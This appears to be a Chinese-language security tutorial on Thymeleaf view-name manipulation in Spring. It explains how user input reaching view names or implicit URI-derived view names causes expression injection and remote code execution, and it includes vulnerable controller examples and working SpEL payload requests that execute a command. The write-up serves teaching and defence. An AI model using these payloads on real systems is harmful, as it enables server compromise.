Spring视图操作
视图概述
考虑一个使用Thymeleaf作为其模板引擎的简单Spring应用程序:
@Controller
public class HelloController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
}
index
方法将为根URL /
的每个GET
请求调用。它没有参数并返回静态字符串welcome
。Spring将welcome
解释为View
的名称,并尝试找到位于应用程序资源中的resources/templates/welcome.html
文件。如果Spring找到它,将从模板文件渲染视图并返回给用户。
不受信任的Thymeleaf视图名称
如果使用Thymeleaf视图引擎(Spring中最流行的),模板可能如下所示:
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${message}"></span>
</div>
</html>
Thymeleaf引擎支持文件布局,允许您通过使用<div th:fragment="main">
在模板中指定片段,然后仅从视图中请求此片段:
@GetMapping("/main")
public String fragment() {
return "welcome :: main";
}
Thymeleaf足够智能,只从welcome
视图返回主要的div
,而不是整个文档。
在从文件系统加载模板之前,Spring ThymeleafView类将模板名称解析为表达式:
try {
// 通过将其解析为标准表达式,我们可以从表达式缓存中获益
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
因此,如果模板名称或片段与不受信任的数据连接,它可能导致表达式语言注入,从而导致RCE。
例如,以下方法容易受到表达式语言注入攻击:
@GetMapping("/path")
public String path(@RequestParam String lang) {
// 潜在的路径遍历,但限于'templates'文件夹
return "user/" + lang + "/welcome";
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section;
}
以下请求在服务器上创建executed
文件:
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com

此漏洞利用使用表达式预处理。为了使表达式被Thymeleaf执行,无论前缀或后缀是什么,都需要用__${
和}__::.x
包围它。
不受信任的隐式视图名称
控制器并不总是返回明确告诉Spring使用什么视图名称的字符串。如文档中所述,对于某些返回类型,如void
、java.util.Map
或org.springframework.ui.Model
,视图名称通过RequestToViewNameTranslator
隐式确定。
这意味着乍一看这样的控制器可能看起来完全无害,它几乎什么都不做,但由于Spring不知道要使用什么视图名称,它从请求URI中获取。
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
具体来说,DefaultRequestToViewNameTranslator
执行以下操作:
/**
* 将传入的{@link HttpServletRequest}的请求URI
* 转换为基于配置参数的视图名称。
* @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
* @see #transformPath
*/
@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
所以,它变得易受攻击,因为用户控制的数据(URI)直接进入视图名称并被解析为表达式:
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com
参考
最后更新于